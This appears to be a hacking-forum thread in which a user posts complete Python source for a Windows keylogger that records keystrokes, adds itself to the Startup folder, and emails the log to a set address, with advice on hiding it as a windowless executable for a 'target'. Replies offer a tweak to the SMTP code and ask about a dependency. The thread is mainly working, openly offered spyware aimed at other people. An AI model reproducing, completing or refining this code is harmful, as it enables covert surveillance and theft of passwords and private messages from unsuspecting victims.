Hackerszone
Welcome Guest,
learn to hack easily with tutorials, python, notepad hacks and more!
Join today, fast and free!

Are you new to hacking? Learn the basics in computer configuration, hacking tools, and hacker terminology all found here on this forum!

Join today!!

Join the forum, it's quick and easy

Hackerszone
Welcome Guest,
learn to hack easily with tutorials, python, notepad hacks and more!
Join today, fast and free!

Are you new to hacking? Learn the basics in computer configuration, hacking tools, and hacker terminology all found here on this forum!

Join today!!
Hackerszone
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Search
 
 

Display results as :
 

 


Rechercher Advanced Search

HZ Tracker
Hacking Widget Visitor Details
Latest topics
»  How to study to understand and apply RPA?
Keylogger for you an me EmptyTue Feb 02, 2021 7:12 am by manas41

» SQL injection and Quote escaping
Keylogger for you an me EmptySun Jun 28, 2015 11:42 am by ADS1

» [TUT] Chmod: Files & Permissions [TUT]
Keylogger for you an me EmptyThu Jun 04, 2015 12:45 pm by Guest

» Reaver pixiewps
Keylogger for you an me EmptyThu Jun 04, 2015 12:23 pm by voidfletcher

» How To Crash Someone's Skype in 10 SECONDS
Keylogger for you an me EmptyThu Jun 04, 2015 12:20 pm by voidfletcher

» Internet Security & IP Security (IPSec)
Keylogger for you an me EmptyMon May 18, 2015 9:00 pm by voidfletcher

» [Python] Infinite / Definite File Generator
Keylogger for you an me EmptyMon May 18, 2015 8:58 pm by ADS1

» [C#] String Case-Inversion
Keylogger for you an me EmptyMon May 18, 2015 8:57 pm by ADS1

» Rekall Memory Forensic Framework
Keylogger for you an me EmptySat May 16, 2015 8:55 pm by ADS1

Who is online?
In total there are 5 users online :: 0 Registered, 0 Hidden and 5 Guests

None

[ View the whole list ]


Most users ever online was 38 on Sun Mar 19, 2023 10:07 pm

Keylogger for you an me

3 posters

Go down

Keylogger for you an me Empty Keylogger for you an me

Post by kyle5647 Thu May 22, 2014 10:42 pm

So I somehow stumbled upon a video on youtube to make a basic keylogger.

I found it interesting and decided to look up on the internet was to get the text file to it back to me and among other things, it escalated.

Code:

import pyHook, pythoncom, logging, sys
import time
import os, sys, win32com.client
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
import smtplib

if not os.path.exists('C:\\MSLive\\'):
os.makedirs('C:\\MSLive\\')
myfile = open('C:\\MSLive\\stuff.txt', 'w')
myfile.write("Fun starts here\n")
myfile.close()

shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut("C:\\Users\\"+ os.environ.get("USERNAME")+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MSLive.lnk")
shortcut.Targetpath = "C:\\Users\\"+ os.environ.get("USERNAME")+"\\Downloads\\collegemeh\\key.exe"
shortcut.save()

msg = MIMEMultipart()
msg.attach(MIMEText(file("C:\\MSLive\\stuff.txt").read()))

mailer = smtplib.SMTP("smtp.gmail.com", 587)

mailer.ehlo()
mailer.starttls()
mailer.ehlo()
mailer.login('username', 'password')
mailer.sendmail("from@example.com", "to@example.com", msg.as_string())
mailer.close()


file_log = 'C:\\MSLive\\stuff.txt'

def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()



What it does:
It creates a txt files in C:\MSLive where it stores the key inputs. MSLives doesn't exists therefore it creates it
Then it proceeds to create a shortcut on the Startup folder
It assumes that the file is in Downloads\collegemeh. You can change it if you know where your target is going to unzip it.
Everytime the program is started it is going to send a mail with the contents of the txt file to the address written.
Now you may ask, what if the target doesn't use python?
Use pyinstaller with the --noconsole argument. It will make a folder in the pyinstaller folder with the name of the original script and within the dist folder there is the exe and its contents. Up to you what to do with this or how you wanna do it.

NOTES:
I did not write all this code. It was mostly googling and copy pasting/editing
I haven't tested the startup part yet.

Any input to improve it is appreciated!
kyle5647
kyle5647
Member
Member

Posts : 40
Join date : 2014-04-08

Back to top Go down

Keylogger for you an me Empty Re: Keylogger for you an me

Post by Admin Thu May 22, 2014 10:44 pm

Fairly decent overall, but a little note.

Although the most publicly documented handshake for authenticating to Gmail's SMTP server is as you've written:

Code: Python
mailer.ehlo()
mailer.starttls()
mailer.ehlo()

It can be shortened down to:

Code: Python
mailer.ehlo_or_helo_if_needed()
mailer.starttls()

From my experience. The second EHLO becomes redundant.

Admin
Coder
Coder

Posts : 101
Join date : 2014-04-07

https://thehackerszone.forumotion.com

Back to top Go down

Keylogger for you an me Empty Re: Keylogger for you an me

Post by cloud9 Thu May 22, 2014 10:45 pm

Nice work kyle5647. I tried running the program but I was given an ImportError: No module named 'pyHook'

Please how do I get this module?

Thank you boss!
cloud9
cloud9
Moderator

Posts : 38
Join date : 2014-04-09
Age : 34

Back to top Go down

Keylogger for you an me Empty Re: Keylogger for you an me

Post by Admin Thu May 22, 2014 10:46 pm

Locked because one-time poster magnet.

/

Admin
Coder
Coder

Posts : 101
Join date : 2014-04-07

https://thehackerszone.forumotion.com

Back to top Go down

Keylogger for you an me Empty Re: Keylogger for you an me

Post by Sponsored content


Sponsored content


Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum